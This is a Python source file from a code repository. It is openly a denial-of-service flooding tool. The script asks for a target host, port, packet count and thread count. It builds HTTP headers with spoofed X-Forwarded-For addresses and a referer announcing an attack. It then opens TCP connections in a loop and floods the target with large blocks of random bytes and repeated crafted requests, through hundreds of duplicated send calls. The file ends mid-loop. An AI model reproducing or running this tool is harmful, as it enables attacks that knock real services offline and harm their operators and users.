<reponame>AGidProF/nee<gh_stars>0
import random
import socket
import threading
import os
import time
import random
import socket
from time import sleep
import threading
import os, sys
import multiprocessing
import platform
import sys, socket, os, time, random, threading, requests, signal, optparse, re, ctypes
from urllib.parse import urlparse
import http.client as http
# COLORS ####################
wi = "\033[1;37m"  # >>White#
rd = "\033[1;31m"  # >Red   #
gr = "\033[1;32m"  # >Green #
yl = "\033[1;33m"  # >Yellow#
#############################
try:
    import socks, requests, wget, cfscrape, urllib3
except:
    if sys.platform.startswith("linux"):
        os.system("pip3 install pysocks requests wget cfscrape urllib3 scapy")
    elif sys.platform.startswith("freebsd"):
        os.system("pip3 install pysocks requests wget cfscrape urllib3 scapy")
    else:
        os.system("pip install pysocks requests wget cfscrape urllib3 scapy")
os.system("clear")
print ('''
     \u001b[31m| \u001b[37mUDP \u001b[31m| \u001b[37mTCP \u001b[31m| \u001b[37mHTTP \u001b[31m|
     \u001b[31m| \u001b[37mGET \u001b[31m| \u001b[37mPOST \u001b[31m| \u001b[37mHEAD \u001b[31m|
''')


choice = str(input("     \u001b[31m>> ¦¦  \u001b[37mChoice  :\u001b[31m "))
method = str(input("     \u001b[31m>> ¦¦  \u001b[37mMethods  :\u001b[31m "))
ip = str(input("     \u001b[31m>> ¦¦  \u001b[37mHost/Ip :\u001b[31m "))
port = int(input("     \u001b[31m>> ¦¦  \u001b[37mPort    :\u001b[31m "))
times = int(input("     \u001b[31m>> ¦¦  \u001b[37mPackets :\u001b[31m "))
threads = int(input("     \u001b[31m>> ¦¦  \u001b[37mThreads :\u001b[31m "))
os.system("clear")
print(f"""
\033[35m             ║ \033[32mIP/DOMAIN \033[36m: \033[32m{ip}
\033[35m             ║ \033[32mPORTS \033[36m\t:\033[32m {port}
\033[35m             ║ \033[32mTYPES \033[36m\t: \033[32m{choice} 
\033[35m             ║ \033[32mMETHODS \033[36m:\033[32m {method}
\033[35m            """)
sleep(2)
#HTTP
def spoofer():
    addr = [192, 168, 0, 1]
    d = '.'
    addr[0] = str(random.randrange(11, 197))
    addr[1] = str(random.randrange(0, 255))
    addr[2] = str(random.randrange(0, 255))
    addr[3] = str(random.randrange(2, 254))
    assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
    return assemebled
useragents = [
     'Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1', 'Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1', 'Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
     'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
     'Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1']
acceptall = [
     'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n',
     'Accept-Encoding: gzip, deflate\r\n'
]
referers = ['Your_Being_Attacked_By_AGanz_Aja']
def Headers(method):
    header = ""
    if method == "get" or method == "head":
        post_host = "POST /GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n"
        connection = "Connection: Keep-Alive\r\n"
        accept = random.choice(acceptall) + "\r\n"
        content = "Content-Type: application/x-www-form-urlencoded\r\nX-Requested-With: XMLHttpRequest\r\n charset=utf-8\r\n"
        referer = "Referer: " + random.choice(referers) + ip + "\r\n"
        connection += "Cache-Control: max-age=0\r\n"
        connection += "pragma: no-cache\r\n"
        connection += "X-Forwarded-For: " + spoofer() + "\r\n"
        randomip  = str(random.randint(1,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
        forward = "X-Forwarded-For: 1\r\n"
        forward += "Client-IP: 10000\r\n"
        length = "Content-Length: 0 \r\nConnection: Keep-Alive\r\n"
        useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
        header = post_host + referer + forward + useragent + accept + content + connection +  length + "\r\n\r\n"
    return header
if sys.platform.startswith("linux"):
   pass
elif sys.platform.startswith("freebsd"):
   pass
else:  
   os.system('color ' +random.choice(['a', 'b', 'c', 'd'])+ " & cls & title DDOS")
def http():
    header = Headers("get")
    i = random.choice(("[HTTP]","[TCP]","[BRUTE]"))
    data = random._urandom(90048)
    if method == "get":
        get_host = "GET /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n"
        request  = get_host + header + "\r\n"
    else:
        get_host = random.choice(['GET','POST','HEAD']) + " /DDoS HTTP/1.1\r\nHost: " + ip + "\r\n"
        request  = get_host + header + "\r\n"
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.connect((ip,port))
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.send(data)
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            s.sendall(str.encode(request))
            for x in range(times):
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.send(data)
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
               s.sendall(str.encode(request))
